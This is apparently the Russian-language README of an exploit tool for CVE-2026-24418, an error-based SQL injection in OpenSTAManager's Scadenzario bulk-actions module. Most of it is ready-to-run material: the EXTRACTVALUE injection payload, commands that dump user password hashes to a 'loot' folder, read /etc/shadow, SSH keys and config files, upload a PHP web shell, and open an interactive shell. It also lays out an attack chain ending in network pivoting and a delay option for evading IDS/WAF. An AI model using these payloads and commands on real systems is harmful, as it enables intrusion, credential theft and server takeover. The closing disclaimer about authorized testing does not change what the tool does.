
OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость Error-Based SQL Injection в обработчике массовых операций для модуля Scadenzario (График платежей).
OpenSTAManager <= 2.9.8 — SQL-инъекция на основе ошибок в модуле массовых операций Scadenzario
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-24418 |
| Серьёзность | ВЫСОКАЯ (8.8) |
| CWE | CWE-89: SQL-инъекция |
| Затронутые версии | OpenSTAManager <= 2.9.8 |
| Уязвимый параметр | id_records[] (массив POST) |
| Уязвимая конечная точка | /actions.php?id_module=18 |
| Тип атаки | SQL-инъекция на основе ошибок (EXTRACTVALUE) |
| Аутентификация | Требуется (любая действительная учётная запись) |
OpenSTAManager v2.9.8 и более ранние версии содержат критическую SQL-инъекцию на основе ошибок в обработчике массовых операций для модуля Scadenzario (График платежей). Приложение не проверяет, что элементы массива id_records[] являются целыми числами, перед использованием их в SQL-выражении IN(), что позволяет аутентифицированным злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.
/actions.php получает id_records[] через POSTarray_clean() только удаляет пустые значения, НЕ проверяет типы данных/modules/scadenzario/bulk.php передаёт неочищенные значения напрямую в SQL-выражение IN()git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Вход с учётными данными
python3 exploit.py -t http://target.com -u admin -p password --info
# Использование существующей сессионной куки
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Информация о БД + привилегии + учётные данные пользователей
python3 exploit.py -t http://target.com -u admin -p secret --all
# Проверка привилегий MySQL (FILE, SUPER и т.д.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Дамп пользователей и автоматический экспорт хэшей
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Выходные файлы:
# ./loot/users.json - Полные данные пользователей
# ./loot/users.csv - CSV формат
# ./loot/hashes_hashcat.txt - Формат Hashcat (режим 3200)
# ./loot/hashes_john.txt - Формат John (user:hash)
# Список всех баз данных
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# Список таблиц в конкретной базе данных
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# Список столбцов таблицы
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Дамп определённых столбцов с ограничением по строкам
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Чтение /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Чтение конфигурации приложения (учётные данные БД)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Чтение SSH-ключей
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX режим (обход фильтров символов)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Загрузка веб-шелла (автоматическое определение webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Загрузка веб-шелла с указанием webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Интерактивная сессия оболочки
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE автоматически загрузит веб-шелл, если он отсутствует
# Сохранить всё в директорию
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Сгенерированные файлы:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# С задержкой запросов (2 секунды между запросами)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Пропуск проверки SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Цель:
-t, --target Базовый URL цели
Аутентификация:
-u, --user Имя пользователя для входа
-p, --password Пароль для входа
-c, --cookie Существующее значение PHPSESSID
Перечисление:
-D, --database Имя целевой базы данных
-T, --table Имя целевой таблицы
-C, --columns-list Столбцы для дампа (через запятую)
--limit Ограничение количества строк
Действия:
--info Информация о сервере БД
--users Дамп учётных данных zz_users
--dbs Перечисление баз данных
--tables Список таблиц
--columns Список столбцов (требуется -T)
--dump Дамп данных (требуется -T и -C)
--sql QUERY Произвольный SQL-запрос
--all Выполнить --info + --privs + --users
--privs Проверка привилегий MySQL
Операции с файлами:
--file-read PATH Чтение файла через LOAD_FILE()
--file-read-hex PATH Чтение файла через HEX-кодировку
Удалённое выполнение кода:
--webshell Загрузить PHP-веб-шелл
--webroot PATH Путь webroot для загрузки шелла
--rce Интерактивное выполнение команд
Вывод:
-o, --output DIR Сохранить результаты в директорию
Сеть:
-m, --module-id ID модуля (по умолчанию: 18)
--proxy URL HTTP-прокси
-k, --no-ssl-verify Отключить проверку SSL
--delay Задержка запросов в секундах
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQL EXTRACTVALUE() возвращает максимум ~32 символа через ошибки XPATH. Инструмент автоматически разбивает длинные результаты с помощью SUBSTRING():
SUBSTRING((<query>), 1, 31) -- Часть 1
SUBSTRING((<query>), 32, 31) -- Часть 2
...
Техническое примечание о контексте на основе ошибок: Хотя
--webshellи--rceвключены для максимального охвата, MySQL строго запрещает использованиеINTO DUMPFILEвнутри подзапроса или предложенияIN()(что как раз и является точкой внедрения данной CVE).Поэтому прямая запись файлов через эту конкретную инъекцию на основе ошибок обычно завершится синтаксической ошибкой, если только:
- Целевая среда не допускает Stacked Queries (очень редко в современных PHP/PDO).
- Вам не удастся преобразовать полезную нагрузку в инъекцию на основе UNION.
Если вы подтвердили привилегию
FILEчерез--privs, лучшим вариантом будет использование--file-readи--file-read-hex, так какLOAD_FILE()отлично работает внутри подзапросов на основе ошибок.
Когда привилегия FILE доступна и ограничения позволяют:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── получает id_records[]
└── array_clean() ─── только удаляет пустые значения
└── bulk.php (L88) ─── строит SQL IN() выражение
└── Database.php (L289) ─── выполняет неочищенный запрос
└── Ошибка XPATH раскрывает данные
1. --privs → Проверить привилегию FILE
2. --users → Извлечь учётные данные, экспортировать хэши
3. --file-read → Прочитать config.inc.php для учётных данных БД
4. --file-read → Прочитать /etc/passwd для имён пользователей
5. --webshell → Загрузить PHP-веб-шелл
6. --rce → Интерактивная оболочка → pivot
Этот инструмент предоставлен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте соответствующее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование.
| Возможность | Описание |
|---|
--info | Определение сервера БД (версия, пользователь, hostname, ОС, пути) |
--privs | Перечисление привилегий MySQL (FILE, SUPER, PROCESS) |
--users | Полный дамп учётных данных из zz_users с автоматическим экспортом хэшей |
--dbs | Перечисление всех доступных баз данных |
--tables | Список таблиц с количеством строк |
--columns | Список столбцов с типами и информацией о NULL |
--dump | Извлечение данных из любой таблицы/столбца |
--sql | Выполнение произвольного SQL-запроса |
--file-read | Чтение файлов сервера через LOAD_FILE() (/etc/passwd, конфиги, SSH-ключи) |
--file-read-hex | Чтение файлов в HEX-кодировке для обхода фильтров |
--webshell | Загрузка PHP-веб-шелла через INTO DUMPFILE |
--rce | Интерактивное выполнение команд через загруженный веб-шелл |
-o / --output | Сохранение всех результатов в форматы JSON, CSV, hashcat/john |
--proxy | Поддержка HTTP-прокси (Burp Suite) |
--delay | Ограничение скорости запросов для обхода IDS/WAF |